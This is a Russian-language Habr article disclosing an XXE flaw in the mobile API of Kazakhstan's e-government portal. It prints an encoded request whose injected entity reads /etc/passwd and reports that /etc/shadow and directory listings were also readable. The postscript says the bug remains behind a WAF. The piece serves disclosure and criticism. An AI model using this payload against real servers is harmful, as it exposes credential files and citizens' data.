Старые-новые дыры Электронного правительства Казахстана

DISCLAMER!
Описанная в статье уязвимость исправлена и не несет в себе никакой опасности. Публикация написана в целях академического просвещения читателей и демонстрации важности вопросов ИБ. Описанная уязвимость присутствовала на E-GOV несколько лет и позволяла получить доступ к паролям пользователей электронного правительства Казахстана.

Недавно на портале электронного правительства Республики Казахстан egov.kz закрыли критическую уязвимость. Так как баг уже закрыт и его раскрытие больше не представляет угрозы, было принято решение обсудить его с вами, так как с технической и академической точки зрения случай представляет большой интерес для исследователей. Еще один немаловажный момент: в определенных кругах такие ошибки, в частности конкретно эта, известны очень длительное время, и их наличие вызывает много вопросов к уровню компетентности ответственных лиц.

Те, кто всегда пользуется web-сервисами через прокси, чтобы контролировать обмен данными, могли заметить в мобильной версии сайта egov.kz передаваемые на сервер запросы в виде XML. Многие исследователи пробовали подгрузить в запрос сущность, или, простым языком, провести атаку типа XXE.

Запрос выглядел примерно так:

POST m.egov.kz/cdb-adapter/mobilecitizen/update HTTP/1.1
Host: m.egov.kz
X-Egov-Mobile-Sso:************************************
Content-Type: application/json
code:********************************************
Content-Type: application/json; charset=UTF-8
Content-Length: 926

{«iin»:»************», «msisdn»:»***********», «requestXml»:»%3Cns3%3AupdateRequest%20xmlns%3Ans2%3D%5C%22http%3A%2f%2fwww.w3.org%2f2000%2f09%2fxmldsig%23%5C%22%20xmlns%3Ans3%3D%5C%22http%3A%2f%2fmgov.bee.kz%2fmbc%2fv6%5C%22%3E%3Ciin%3E************%3C%2fiin%3E%3Cphone%3E***********%3C%2fphone%3E%3CotpCode%3E000%3C%2fotpCode%3E%3CdeviceInfo%3E%3CdateOfInstallation%3E2016–06–23%3C%2fdateOfInstallation%3E%3CappId%*****
**************************************************
**************************************************
*************************************%3C%2fappId%3E%3
Cimei%3E%3C%2fimei%3E%3CoperatingSystem%3EANDROID%3C
%2foperatingSystem%3E%3CosVersion%3E5.1.1%3C%2fosVersion
%3E%3CsmsChannel%3Etrue%3C%2fsmsChannel%3E%3CpushChannel
%3Etrue%3C%2fpushChannel%3E%3C%2fdeviceInfo%3E%3C%2fns3%3AupdateRequest%3E»}

После внесения изменений он выглядел вот так:

POST m.egov.kz/cdb-adapter/mobilecitizen/update HTTP/1.1
Host: m.egov.kz
X-Egov-Mobile-Sso:************************************
Content-Type: application/json
code:********************************************
Content-Type: application/json; charset=UTF-8
Content-Length: 926

{«iin»:»************», «msisdn»:»***********», «requestXml»:»%3C%21DOCTYPE%20foo%20%5B
%3C%21ENTITY%20xxe%20SYSTEM%20%5C%22file%3A%2f%2f%2fetc%2fpasswd%5C%22%3E%
20%5D%3E%3Cns3%3AupdateRequest%20xmlns%3Ans2%3D%5C%22http%3A%2f%2fwww.w3.or
g%2f2000%2f09%2fxmldsig%23%5C%22%20xmlns%3Ans3%3D%5C%22http%3A%2f%2fmgov.be
e.kz%2fmbc%2fv6%5C%22%3E%3Ciin%3E************%26xxe%3B%3C%2fiin%3E%3Cphone%
3E7**********%3C%2fphone%3E%3CotpCode%3E000%3C%2fotpCode%3E%3CdeviceInfo%3E%3
CdateOfInstallation%3E2016-**-**%3C%2fdateOfInstallation%3E%3CappId%********************************************
*********************************************************************************
*****************%3C%2fappId%3E%3Cimei%3E%3C%2fimei%3E%3CoperatingSystem%3EAN
DROID%3C%2foperatingSystem%3E%3CosVersion%3E5.1.1%3C%2fosVersion%3E%3CsmsChannel
%3Etrue%3C%2fsmsChannel%3E%3CpushChannel%3Etrue%3C%2fpushChannel%3E%3C%2f
deviceInfo%3E%3C%2fns3%3AupdateRequest%3E»}

Чтобы было понятней, покажем запрос в читаемом виде (добавленные данные выделены):

]>************&xxe
;***********0002016-**-**
*************************************************************
*********************************************************************
**********ANDROID
5.1.1true
true

Как можно заметить, запрашивался файл /etc/passwd и, к удивлению исследователей, в ответ получили его содержимое (снимок экрана прилагается):

dtsmmh-fuolbeuj2sezyfnpoluq.png

Объясняя простым языком, уязвимость позволяла читать локальные файлы сервера, в том числе файл /etc/passwd. Кроме чтения файлов, уязвимость позволяла просматривать содержимое директорий (снимок экрана также прилагается).

mb2whu4e97gfym4_qpdc0a4bgl0.png

Особо одаренные исследователи пользовались скриптами для удобной работы с уязвимостью.

nps4lfdrylqg3zjxecm5zo4wafy.png

Неописуемое удивление исследователей вызывала возможность чтения файла /etc/shadow — файл содержит хэши паролей пользователей, обычно доступные только привилегированным пользователям.

m2qtcscacphxcxdu32hud0r4sg0.png

Все это говорит о том, что сервисы работают с максимальными привилегиями, это очень-очень плохо!

Но есть и хорошая новость: обсуждаемая уязвимость, наконец-то, закрыта (ну как закрыта, просто поставили WAF который блокирует все подряд). Так что теперь данные сервера, а вместе с ними и данные граждан Казахстана, утекают в Интернет медленнее, если еще не утекли.

PS: Бага не то чтобы исправлена, она актуальна, но осталась за фаерволом

© Habrahabr.ru